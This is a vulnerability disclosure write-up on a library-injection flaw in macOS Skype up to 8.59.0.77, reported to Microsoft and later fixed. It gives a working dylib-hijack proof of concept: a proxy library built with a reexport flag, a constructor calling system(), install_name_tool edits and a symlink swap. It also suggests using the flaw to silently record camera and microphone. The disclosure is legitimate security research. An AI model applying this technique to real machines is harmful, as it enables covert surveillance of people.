LOCAL SKYPE SECURITY FLAW

- Date of discovery: 2020-04-10
- Software Links: https://www.skype.com/ (https://www.skype.com/)
- Version: <= 8.59.0.77
- Author: Jean-Jamil Khalife
- Tested on: macOS Catalina 10.15.3

DISCLOSURE TIMELINE

- 2020-04-14 Microsoft contacted
- 2020-05-18 Fix integrated

INTRODUCTION

Recently, some vulnerabilities have been discovered in the "zoom" application, including one allowing code injection, giving malware the possibility of having access to the camera and the microphone. (1)

Microsoft Skype (macOS version) suffers from the same type of vulnerability.

VULNERABILITY & EXPLOITATION

Skype has "entitlements" which are capabilities or restrictions written into the application via "codesign" after compilation.

Here is the list of Skype entitlements:

```
$ codesign -d --entitlements :- /Applications/Skype.app
Executable=/Applications/Skype.app/Contents/MacOS/Skype
```

```
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd (http://www.apple.com/DTDs/PropertyList-1.0.dtd)">
<plist version="1.0">
<dict>
<key>com.apple.security.device.camera</key>
<true/>
<key>com.apple.security.device.audio-input</key>
<true/>
<key>com.apple.security.personal-information.location</key>
<true/>
<key>com.apple.security.automation.apple-events</key>
<true/>
<key>com.apple.security.cs.allow-jit</key>
<true/>
<key>com.apple.security.cs.allow-unsigned-executable-memory</key>
<true/>
<key>com.apple.security.cs.disable-library-validation</key>
<true/>
<key>com.apple.security.cs.disable-executable-page-protection</key>
<true/>
</dict>
</plist>
```

Also, we note that two of the entitlements are necessary to allow Skype to access the camera and the microphone:

```
...
<key>com.apple.security.device.camera</key>
<true/>
<key>com.apple.security.device.audio-input</key>
<true/>
...
```

When an application wants to use the camera or the microphone as skype does, a window then appears and warns the user asking for his agreement. If he accepts, the application will then have access to these two at any time when it is launched.

To protect against code injection, applications can be compiled with the "Hardened Runtime" (2), which is the case with Skype as we can see here:

```
$ codesign -d -vv /Applications/Skype.app
Executable=/Applications/Skype.app/Contents/MacOS/Skype
Identifier=com.skype.skype
Format=app bundle with Mach-O thin (x86_64)
CodeDirectory v=20500 size=1755 flags=0x10000(runtime) hashes=46+5 location=embedded
```

However certain rights make it possible to bypass this restriction. If we look at the rights of Skype, we note that "com.apple.security.cs.disable-library-validation" (3) is present and allows to circumvent the restricti above. Thus it becomes possible to load an unsigned shared library.

```
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd (http://www.apple.com/DTDs/PropertyList-1.0.dtd)">
<plist version="1.0">
<dict>
...
<key>com.apple.security.cs.disable-library-validation</key>
<true/>
<key>com.apple.security.cs.disable-executable-page-protection</key>
<true/>
</dict>
</plist>
```

Looking at the dependencies of Skype, we can see that one of them is located in the Skype directory, accessible to the user for writing.

```
$ otool -L /Applications/Skype.app/Contents/MacOS/Skype
/Applications/Skype.app/Contents/MacOS/Skype:
/System/Library/Frameworks/MediaPlayer.framework/Versions/A/MediaPlayer (compatibility version 1.0.0,
current version 1.0.0)
@rpath/Electron Framework.framework/Electron Framework (compatibility version 0.0.0, current
version 0.0.0)
/usr/lib/libSystem.B.dylib (compatibility version 1.0.0, current version 1252.50.4)
```

```
$ ls -l
total 0
lrwxr-xr-x 1 user admin 35 12 mar 22:45 Electron Framework -> Versions/Current/Electron Framework
lrwxr-xr-x 1 user admin 26 12 mar 22:45 Libraries -> Versions/Current/Libraries
lrwxr-xr-x 1 user admin 26 12 mar 22:45 Resources -> Versions/Current/Resources
drwxr-xr-x@ 4 user admin 128 12 mar 22:45 Versions
```

This dependency is a symbolic link which points to the shared library "Electron Framework".

```
$ file /Applications/Skype.app/Contents/Frameworks/Electron\ Framework.framework/Versions/A/Electron\
Framework
/Applications/Skype.app/Contents/Frameworks/Electron Framework.framework/Versions/A/Electron Framework:
Mach-O 64-bit dynamically linked shared library x86_64
```

The idea is to develop a shared library that will proxify the "Electron Framework" library.

We will then have: Skype.app ⇒ our_lib.dylib ⇒ Electron Framework

To achieve this, we will use the flag -reexport_library on the link line, which will take care to proxify all the symbols of the original lib.

```
$ gcc -dynamiclib main.c -o "Electron Framework"
-Wl,-reexport_library,"/Applications/Skype.app/Contents/Frameworks/Electron
Framework.framework/Versions/A/Electron Framework"
```

The main.c file written is very simple. It's just a proof of concept.

```
__attribute__((constructor))
void customConstructor(int argc, const char **argv)
{
system("/System/Applications/Utilities/Terminal.app/Contents/MacOS/Terminal &");
}
```

If we look at the headers, LC_REEXPORT_DYLIB is present and points to the original library. The name field must be modified to correspond to the correct path.

```
Load command 11
cmd LC_REEXPORT_DYLIB
cmdsize 80
name @rpath/Electron Framework.framework/Electron Framework (offset 24)
time stamp 2 Thu Jan 1 01:00:02 1970
current version 0.0.0
compatibility version 0.0.0
```

We will use the install_name_tool tool to make this change. Our library was previously inserted in the "/Applications/Skype.app/Contents/Frameworks/Electron Framework.framework /Versions/A/Elec" location.

```
$ install_name_tool -change "@rpath/Electron Framework.framework/Electron Framework" "/Applications/Skype.app/
Contents/Frameworks/Electron Framework.framework/Versions/A/Electron Framework"
"/Applications/Skype.app/Contents/Frameworks/Electron Framework.framework/Versions/A/Elec"
```

```
$ otool -l "/Applications/Skype.app/Contents/Frameworks/Electron Framework.framework/Versions/A/Elec"
...
Load command 11
cmd LC_REEXPORT_DYLIB
cmdsize 128
name /Applications/Skype.app/Contents/Frameworks/Electron Framework.framework/Versions/A/Electron
Framework (offset 24)
time stamp 2 Thu Jan 1 01:00:02 1970
current version 0.0.0
compatibility version 0.0.0
...
```

Once done, just modify the symbolic link by pointing it to "Versions/Current/Elec" instead of "Versions/Current/Electron Framework".

CONCLUSION

Skype is one of the most used applications for video conferences, both professionally and personally. It is therefore a target for malware developers.

Even if recent versions of macOS make interceptions more difficult (camera, microphone, etc.), this remains possible especially if the editors of “trusted” solutions distribute vulnerable applications.

Some applications for this vulnerability:

- Injecting into Skype to intercept video conferences.
- Silently use Skype as a proxy to record video and sound. (if the user has previously validated that Skype had the right to use microphone and camera as explained above).

REFERENCES

1. https://objective-see.com/blog/blog_0x56.html

2. https://developer.apple.com/documentation/security/hardened_runtime

3. https://developer.apple.com/documentation/bundleresources/entitlements/com_apple_security_cs_disable-library-validation